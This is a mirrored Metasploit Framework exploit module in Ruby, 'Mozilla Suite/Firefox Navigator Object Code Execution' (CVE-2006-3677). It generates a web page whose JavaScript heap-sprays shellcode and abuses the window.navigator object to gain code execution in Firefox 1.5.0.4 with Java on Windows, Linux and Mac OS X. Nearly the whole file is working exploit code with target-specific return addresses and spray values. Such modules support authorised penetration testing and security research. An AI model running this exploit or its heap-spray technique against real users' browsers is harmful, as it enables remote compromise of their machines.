CoCalc -- mozilla_navigatorjava.rb

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/mozilla_navigatorjava.rb
³²¹⁰⁹ views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::HttpServer::HTML
10

11
  # include Msf::Exploit::Remote::BrowserAutopwn
12
  # autopwn_info({
13
  #  :ua_name    => HttpClients::FF,
14
  #  :ua_minver  => "1.5.0",
15
  #  :ua_maxver  => "1.5.1",
16
  #  :javascript => true,
17
  #  :rank       => NormalRanking, # reliable memory corruption
18
  #  :vuln_test  => %Q|
19
  #    is_vuln = false;
20
  #    if (navigator.javaEnabled()){
21
  #      is_vuln = true;
22
  #    }
23
  #    |,
24
  # })
25

26
  def initialize(info = {})
27
    super(
28
      update_info(
29
        info,
30
        'Name' => 'Mozilla Suite/Firefox Navigator Object Code Execution',
31
        'Description' => %q{
32
          This module exploits a code execution vulnerability in the Mozilla
33
          Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
34
          requires the Java plugin to be installed.
35
        },
36
        'License' => MSF_LICENSE,
37
        'Author' => ['hdm'],
38
        'References' => [
39
          ['CVE', '2006-3677'],
40
          ['OSVDB', '27559'],
41
          ['BID', '19192'],
42
          ['URL', 'http://www.mozilla.org/security/announce/mfsa2006-45.html']
43
        ],
44
        'Payload' => {
45
          'Space' => 512,
46
          'BadChars' => ''
47
        },
48
        'Targets' => [
49
          [
50
            'Firefox 1.5.0.4 Windows x86',
51
            {
52
              'Platform' => 'win',
53
              'Arch' => ARCH_X86,
54
              'Ret' => 0x08000800,
55
              'Fill' => '%u0800'
56
            }
57
          ],
58
          [
59
            'Firefox 1.5.0.4 Linux x86',
60
            {
61
              'Platform' => 'linux',
62
              'Arch' => ARCH_X86,
63
              'Ret' => -0x58000000,
64
              'Fill' => '%ua8a8'
65
            }
66
          ],
67
          [
68
            'Firefox 1.5.0.4 Mac OS X PPC',
69
            {
70
              'Platform' => 'osx',
71
              'Arch' => ARCH_PPC,
72
              'Ret' => 0x0c000000,
73
              'Fill' => '%u0c0c'
74
            }
75
          ],
76
          [
77
            'Firefox 1.5.0.4 Mac OS X x86',
78
            {
79
              'Platform' => 'osx',
80
              'Arch' => ARCH_X86,
81
              'Ret' => 0x1c000000,
82
              'Fill' => '%u1c1c'
83
            }
84
          ],
85
        ],
86
        'DisclosureDate' => '2006-07-25',
87
        'Notes' => {
88
          'Reliability' => UNKNOWN_RELIABILITY,
89
          'Stability' => UNKNOWN_STABILITY,
90
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
91
        }
92
      )
93
    )
94
  end
95

96
  def on_request_uri(cli, _request)
97
    # Re-generate the payload
98
    return if ((p = regenerate_payload(cli)).nil?)
99

100
    print_status("Sending #{name}")
101
    send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
102

103
    # Handle the payload
104
    handler(cli)
105
  end
106

107
  def generate_html(payload)
108
    enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
109

110
    return %|
111
<html><head>
112
<script>
113
  function Exploit() {
114
    if (window.navigator.javaEnabled) {
115
      var shellcode = unescape("#{enc_code}");
116
      var b = unescape("#{target['Fill']}");
117
      while (b.length <= 0x400000) b+=b;
118

119
      var c = new Array();
120
      for (var i =0; i<36; i++) {
121
        c[i] =
122
          b.substring(0,  0x100000 - shellcode.length) + shellcode +
123
          b.substring(0,  0x100000 - shellcode.length) + shellcode +
124
          b.substring(0,  0x100000 - shellcode.length) + shellcode +
125
          b.substring(0,  0x100000 - shellcode.length) + shellcode;
126
      }
127

128
      window.navigator = (#{target['Ret']} / 2);
129
      try {
130
        java.lang.reflect.Runtime.newInstance(
131
          java.lang.Class.forName("java.lang.Runtime"), 0
132
        );
133
      }catch(e){
134

135
      }
136
    }
137
  }
138
</script>
139
</head><body onload='Exploit()'>Please wait...</body></html>
140
    |
141
  end
142
end
143

144
Product

Resources

Company
